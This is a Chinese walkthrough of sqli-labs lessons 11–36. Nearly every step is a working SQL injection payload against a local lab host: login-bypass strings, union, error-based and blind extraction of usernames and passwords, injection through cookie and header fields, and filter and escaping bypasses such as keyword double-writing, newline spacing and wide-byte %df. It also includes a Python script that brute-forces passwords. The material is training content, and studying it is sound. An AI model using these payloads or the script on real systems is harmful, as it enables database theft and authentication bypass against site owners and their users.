Lesson-11 (POST型 字符型 ‘id’ 单引号包裹 有报错)
产生注入的sql语句如下:
SELECT username, password FROM users WHERE username='' and password='' LIMIT 0,1
判断是否有注入:
两种方式作为万能密码判断是否有注入 前者自己构造单引号闭合 后者注释掉多的单引号
注:万能密码一般使用在用户名处 密码处因为会经过加密所以不能登录成功
1' or '1'='1
1' or 1=1 #
1' or 1=1 or '
SELECT username, password FROM users WHERE username='1' or '1'='1' or ''and password='' LIMIT 0,1;
SELECT username, password FROM users WHERE username='1' or 1=1 #' and password='' LIMIT 0,1;
判断字段数
1' order by 3#
' or 1=1 order by 2#
判断显错位
' union select 1,2#
判断库名
' union select user(),database()#
判断表名
' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#
判断列名
' union select 2,group_concat(column_name) from information_schema.columns where table_name='emails'#
获取数据
' union select group_concat(id),group_concat(email_id) from emails#
Lesson-12 (POST型 字符型 (“id”) 双引号加()包裹 有报错)
同第11关 区别为(" ")包裹
Lesson-13 (POST型 字符型 (‘id’) 单引号加()包裹 有报错)
没有回显 使用报错注入
判断是否有注入
') or 1=1 #
') or 1=1 or ('
database
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
tables
') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
column
') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
data
') and updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1)#
由于报错注入有长度限制 所以用limit 0,1来一条条爆破数据
limit [start(0)],length start省略默认从0开始
Lesson-14 (POST型 字符型 “id” 双引号包裹 有报错)
同第13关 区别为"id"包裹
万能密码
" or "1"="1" or "1
Lesson-15 (POST型 字符型 ‘id’ 单引号包裹 无报错)
**15关注释掉了报错语句 考虑布尔盲注和时间盲注 Dnsog注入
盲注成功返回登录成功的图片 失败返回登录失败的图片
不会写盲注脚本可以搭配burp使用 用intruder模块爆破即可
length
' or length(database())=8#
database
' or ascii(mid(database(),1,1))=115#
column
' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#
data
' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68 #
python布尔盲注脚本如下:
import requests
import time
# 第一步:写出url地址
url = "http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-15/"
# 第二步:用burp抓取http请求头
header = {
"Host": "192.168.114.200",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "65",
"Origin": "http://192.168.114.200",
"Connection": "close",
"Referer": "http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-15/",
"Cookie": "JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=2l87c8r2bit36dl33aak6o5t35",
"Upgrade-Insecure-Requests": "1"
}
# 第三步:写自动注入的函数
def getName():
name = ""
str = "qwertyuiopasdfghjklzxcvbnm,0123456789_-"
# 第一个循环用来获取注入的次数
for i in range(1, 45):
start = time.time()
print("正在进行第{0}次注入".format(i))
# 第二个循环用字符串猜测字符
for j in str:
print("猜第{0}个字符是否是{1}".format(i, j))
# 暴库 security
# payload = "' or substr(database(),{0},1)='{1}'#".format(i, j)
# 爆表 referers,users,uagents,emails
# payload = "' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}'#".format(i, j)
# 爆users字段 id,username,password....
# payload ="' or substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1)='{1}'#".format(i, j)
# 爆users表数据
payload ="' or substr((select group_concat(password) from security.users),{0},1)='{1}'#".format(i, j)
data = dict(uname=payload, passwd="", submit='Submit')
result = requests.post(url=url, headers=header, data=data).text
if '<img src="../images/flag.jpg" />' in result:
name += j
print(name)
break
if '<img src="../images/flag.jpg" />' not in result:
end = time.time()
print(name)
print("总共耗时:{0}".format((end - start)))
break
getName();
效果如上 初学python盲注脚本 原理是用字典一个个爆破 速度很慢 因为这里有特殊字符@不在字典里面所以断了
还是用ascii二分法比较稳妥
思路就是获取返回的html代码 字符猜测正确盲注成功返回登录成功的图片
失败返回登录失败的图片
Lesson-16 (POST型 字符型 (“id”) 双引号和括号包裹 无报错)
同第15关 区别为(“id”) 包裹
") or 1=1 #
") or 1=1 or ("
Lesson-17 (基于Update查询语句的POST注入 字符型’id’ 有报错 )
进入关卡发现提示 password reset 说明是密码重置的提示
打开源码进行代码审计 发现了一个过滤的函数
<?php
function check_input($value){
// truncation (see comments)
if(!empty($value)){
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
else{
$value = intval($value);
}
return $value;
}
?>
首先用substr对输入的值进行了长度的限制 截取15位长度的内容
然后判断php扩展中的魔术引号开关是否开启 这里简单介绍一下magic_quotes_gpc
当 magic_quotes_gpc 打开时,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
get_magic_quotes_gpc经常与stripslashes函数配合使用,如果get_magic_quotes_gpc返回1时,则用stripslashes函数对字符串进行处理。
stripslashes函数用法 返回一个去除转义反斜线后的字符串(’ 转换为 ’ 等等)。双反斜线(\)被转换为单个反斜线(\)。相当于addslashes()函数的逆用
<?php
$str = "Is your name O\'reilly?";
// 输出: Is your name O'reilly?
echo stripslashes($str);
?>
如果magic_quotes_gpc处于打开状态 那么就删除一个转义字符 \
ctype_digit()函数返回一个布尔值 当传入的值为字符串类型的正整数时返回1 反之返回0
只要不是字符串类型的正整数 就会被mysql_real_escape_string处理
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ', " 和 \x1a.
简单来说就是 截取输入的15个字符串 判断是否为字符串类型的正整数(因为post传参一般都是字符串类型) 如果不是 然后对在以下字符前添加反斜杠: \x00, \n, \r, , ', " 和 \x1a. 然后返回处理过后的参数
试了很多办法 这边unmae暂时没有注入的办法 于是把注入点放在password上面
继续看代码 发现如果查询到数据库有这个用户名 就更改密码 成功返回成功的图片 如果错误会输出报错信息 查不到就输出"Bug off you Silly Dumb hacker"
因此采用报错注入
用户名可以通过一个个猜测 我这里猜admin
database
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
tables
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
columns
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
data
' and updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1)#
Lesson-18 (基于有报错的http头部即UA头的POST注入)
进入第18关界面 发现显示了ip
查看源代码发现
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
对uname和passwd都做了过滤 但是没有对HTTP_USER_AGENT头和REMOTE_ADDR进行过滤
由于REMOTE_ADDR暂时无法修改
代码逻辑大概是
登录成功 执行insert语句(而这里可以产生注入) 将UA信息插入到表中 输出你的UA头 插入数据有问题就报错 登录不成功输出错误 但是不成功是不会执行有问题的插入语句的 所以一定要登录成功才能使用报错注入
因此使用正确的用户名和密码 然后用burp修改UA头即可
database
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
tables
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '1'='1
columns
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1),1,1)#
data
' or updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1) or '1'='1
Lesson-19 (基于有报错的http头部信息Referer的POST注入)
本关本质上和第18关类似
简单说一下这个Referer
什么是Referer?
这里的 Referer 指的是HTTP头部的一个字段,也称为HTTP来源地址(HTTP Referer),用来表示从哪儿链接到目前的网页,采用的格式是URL。换句话说,借着 HTTP Referer
头部网页可以检查访客从哪里而来,这也常被用来对付伪造的跨网站请求。
Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
做法如下:
database
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
tables
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '1'='1
columns
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1) or '1'='1
data
' or updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1) or '1'='1
Lesson-20 (有报错cookie信息的POST注入)
这关源代码太长了 我浓缩了一下代码 看下代码的主要逻辑
</form>
<?php
// 判断第一次客户端的请求是否携带了cookie
if (!isset($_COOKIE['uname'])) {
function check_input($value)
{
//防止sql注入
}
// 对用户名和密码进行了严格的过滤
if (isset($_POST['uname']) && isset($_POST['passwd'])) {
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username']; //将数组中的用户名当作了cookie的值
// 判断用户名密码是否正确
if ($row1) {
setcookie('uname', $cookee, time() + 3600); //设置了cookie的值 和过期时间
//跳转到登录成功的页面
header('Location: index.php');
echo "I LOVE YOU COOKIES";
//echo 'Your Cookie is: ' .$cookee;
print_r(mysql_error());
echo '<img src="../images/flag.jpg" />';
}
// 用户名密码不正确 输出mysql错误 返回登录失败的图片
else {
//echo "Try again looser";
print_r(mysql_error());
echo '<img src="../images/slap.jpg" />';
}
}
}
// 如果携带了cookie 那么就判断是否点了清除cookie的按钮
else {
// 没有点击删除cookie的按钮
if (!isset($_POST['submit'])) {
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo '<img src="../images/Less-20.jpg" />';
echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT']; //这里也是没有过滤 反射型xss
echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
// 用cookie的值去查询表得到数据
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result = mysql_query($sql);
// 没有查到存在这个用户就退出并且报错
if (!$result) {
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
// 数据匹配就输出用户的信息
if ($row) {
echo 'Your Login name:' . $row['username'];
echo 'Your Password:' . $row['password'];
echo 'Your ID:' . $row['id'];
} else {
echo '<img src="../images/slap1.jpg" />';
}
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
}
// 点击了删除cookie的按钮就删除cookie
else {
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time() - 3600); // 销毁cookie的方法
header('Location: index.php'); //跳转到登录页面
}
}
?>
通读代码以后 就知道整个流程是怎么回事了
cookie小知识
原理
通过header(),setcookie()操作响应头
语法格式:header(键:值)
header("content-type:charset=gbk");
header('name:hacked by gh0stoo1');
设置cookie
<?php
setcookie("name","hacker")
在响应头中可以看到cookie的信息
客户端有cookie信息后,每次请求服务器,cookie的信息都会自动的放到请求头中带到服务器
获取cookie的值
echo $_COOKIE['name'];
echo $_COOKIE['sex'];
注意:
- 关闭浏览器后,cookie消失。这种cookie称为临时性cookie
- cookie的信息不可以在不同的浏览器中共享 不可以跨浏览器
思考:如下代码为什么第一次执行报错,第二次执行正常?
<?php
setcookie("name", "hacker");
echo $_COOKIE['name'];
因为第一次去访问请求服务器 服务器才给你cookie 这个时候又要输出 cookie 所以会报错
第二次请求服务器的时候 客户端已经从上一次交互中 获取到了cookie 所以第二次没有报错
知道了这些知识 我们来做题目
抓包输入正确的用户名密码
POST /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
用户名密码正确 服务器验证通过 发送给我们cookie 第一次交互结束
客户端由于验证成功跳转到登录页面 要向服务端发送get请求获取页面 这里面就携带了我们的cookie
GET /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Connection: close
Cookie: uname=admin; JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
产生注入的语句如下
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
因此我们把get请求的包发送到repeater进行注入就行了
注意cookie信息一定要正确 因为代码对cookie信息进行了验证
cookie就是用户名 存在用户名或者sql语句执行正确才输出信息
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result = mysql_query($sql);
// 没有查到存在这个用户就退出并且报错
if (!$result) {
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
// 数据匹配就输出用户的信息
if ($row) {
echo 'Your Login name:' . $row['username'];
echo 'Your Password:' . $row['password'];
echo 'Your ID:' . $row['id'];
} else {
echo '<img src="../images/slap1.jpg" />';
}
payload如下:
GET /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Connection: close
Cookie: uname=admin' order by 3#; JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
cookie: uname
admin' order by 3#
database
' union select 1,2,3#
tables
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
columns
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#
data
' union select 1,group_concat(id),group_concat(email_id) from emails#
ps:由于联合注入 语句执行正确所以后面带不带用户名字都行
xss打自己
echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT']; //这里也是没有过滤 反射型xss
Lesson-21 (Cookie 注入-base64 编码-单引号和括号)
没啥好说的 只是障眼法 在后端对cookie进行编码 查询的时候进行了解码
并不是加密 直接放答案
以下明文payload需要经过base64编码
cookie: uname
YWRtaW4nKSBvcmRlciBieSAzIw==
database
') union select 1,2,3#
tables
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
columns
') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#
data
') union select 1,group_concat(id),group_concat(email_id) from emails#
Lesson-22 (Cookie 注入-base64编码-双引号)
payload
IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoaWQpLGdyb3VwX2NvbmNhdChlbWFpbF9pZCkgZnJvbSBlbWFpbHMj
Lesson-23 (单引号字符型注入——过滤了#和–)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
新的单行注释 ;%00
判断注入
?id=' and 1=1 or '1'='2 ?id=' and 1=1 or '1'='1 (回显不一样来判断)
输入单双引号来判断是什么包裹
database
?id=' union select 1,database(),3 or '1
table
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();%00
columns
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00
data
?id=-1' union select 1,group_concat(username),group_concat(password) from users;%00
Lesson-24 (POST型注入 二次注入 存储型注入)
关键代码如下
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
可以看到 这关对代码都进行了过滤 但是在执行update操作的时候没有对username进行转义
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
注册的用户名admin’# 在数据库执行更新密码的操作的时候
UPDATE users SET PASSWORD='$pass' where username='admin'
修改掉了admin的密码 这就是二次注入 和逻辑越权有类似的地方 不过还是sql注入的问题
Lesson-25 ( 过滤了or和and GET提交的字符型注入)
黑名单函数
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
看到是替换为空 双写就完了
?id=1' oorrder by 4%23
database
?id=-1' union select 1,2,database()%23
table
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
column
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'%23
data
?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users%23
Lesson-25a (过滤了or和and GET型数字型注入)
payload
?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users%23
Lesson-26 (GET型 字符型注入 过滤了空格 and or 和注释-单引号)
首先来看下这个黑名单函数
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
\s (space)匹配任意的空白符,包括空格,制表符(Tab),换行符,中文全角空格等
可以看到过滤了所有的空白字符 但是过滤方法是替换为空 所以我们还是有机会绕过的
这里提供几种绕过的思路
# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
新的单行注释 ;%00
(当然你也可以直接用单引号闭合)
?id='union(select(1),(2),database());%00
?id='union(select'a','b',database());%00
报错注入
database
?id=1'aandnd(updatexml(1,concat(0x7e,database()),1));%00
?id='||updatexml(1,concat(0x7e,(select(database())),0x7e),1);%00
table
?id='||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1);%00
column
?id='||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1);%00
data
?id='||updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1);%00
Lesson-26a(GET型 字符型注入 过滤了空格 union select)
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
注意闭合方式就行了
Lesson-27(GET型 字符型注入 过滤了空格 union select)
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
过滤了 union select 但是没有完全过滤 例如uniOn sElect
没有过滤空白制表符号
database
?id='unioN%0AselecT%0A1,2,database();%00
table
?id='unioN%0AselecT%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00
column
?id='unioN%0AselecT%0A1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users';%00
data
?id='unioN%0AselecT%0A1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00
Lesson-27a(GET型字符型注入 过滤了空格 union select)
区别为双引号包裹
?id="%0AunioN%0AselecT%0A1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00
Lesson-28 (GET型 字符型注入 过滤了空格 /union\s+select/i 和 注释/* – #)
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
只对/union\s+select/i进行了过滤 过滤方式为替换为空
替换为空 就非常容易绕过 双写就行了
union%0aselect-----》ununion%0aselection%0aselect
payload如下
判断存在注入的方法
?id=1');%00
?id=1') or ('1'='1
database
?id=')%0aununion%0aselection%0aselect%0a1,2,database();%00
table
?id=')%0aununion%0aselection%0aselect%0a1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00
column
?id=')%0aununion%0aselection%0aselect%0a1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users';%00
data
?id=')%0aununion%0aselection%0aselect%0a1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00
Lesson-28a (GET型 字符型注入 过滤了 /union\s+select/i)
过滤的更少了
?id=')%0aununion%0aselection%0aselect%0a1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00
Lesson29-31 GET -Error based-IMPIDENCE MISMATCH-Having a WAF in front of web application.
注意:此关卡需要配置jsp环境 因为我配置环境不成功 搞了很久放弃了 所以只能看看别人的视频
就是简单的http参数污染
waf检测的是第一个参数 有严格的过滤 在第二个参数输入注入语句就可以了
?id=1&id=payload
Lesson-32 (GET型 字符型’$id’注入 自定义addslashes函数 宽字节注入)
waf过滤
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
可以看到 对单引号 双引号 反斜杠都做了过滤
将用户输入的 ’ 替换为 \’ “替换为\” \替换为\\ 类似addslashes()函数的功能
其实过滤引号有几种办法
- 本身就是数字型注入 和引号无关 注入语句有引号就采用16进制
- 如果字符集是gbk编码的 那么就可以用宽字节注入 原理就是想办法让反斜杠失去转义的作用
- 如果没有过滤反斜杠 那么可以用反斜杠来转义预置的引号 利用条件就是 后面还有预置的引号来包裹 使得注入变成盲注
select * from table where username='admin\' and password='or 1=1-- -'
回归到这道题目
产生注入的地方 PS:开发这靶场的大神好像是印度人 怎么会使用gbk编码呢?
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
宽字节注入的原理就是 让反斜杠失去转义的作用
经过url编码的希腊字母β==>%df和\会组成一个中文字母 类似’1%df\’ ==>‘1运’
mysql直接忽略这个字母 引号就又起到了闭合的作用
payload如下 注意表名需要转换成16进制
判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23
PS:实战基本不存在报错注入 上线的项目谁会把数据库错误提示显示出来???
Lesson-33 (GET型 字符型’$id’注入 addslashes函数 宽字节注入)
同32关
payload如下 注意表名需要转换成16进制
判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23
Lesson-34 (POST型 字符型’$id’注入 addslashes函数 宽字节注入)
burp抓包改 直接输入会又被url编码一边
POST /sqli-labs-master/sqli-labs-master/Less-34/ HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-34/
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
uname=admin%df' or 1=1#&passwd=admin&submit=Submit
注入一般都是在username里面注入的 密码一般会加密
其实原理是一样的 就是换了个提交方式
SELECT username, password FROM users WHERE username='admin%df' or 1=1#' and password='$passwd' LIMIT 0,1
判断是否存在注入
admin%df' or 1=1#
database
-1%df%27 union select 1,database()#
table
-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
column
-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
data
-1%df%27 union select group_concat(username),group_concat(password) from security.users#
Lesson-35(GET型 数字型注入 addslashes函数)
连引号都不需要了 数字型过滤引号等于白费功夫 哈哈哈哈
判断列数
?id=1 order by 4
database
?id=-1 union select 1,2,database()
tables
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
column
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
data
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
Lesson-36(GET型 mysql_real_escape_string 函数 \x00 \n \r \ ’ " 和 \x1a)
老办法
判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23
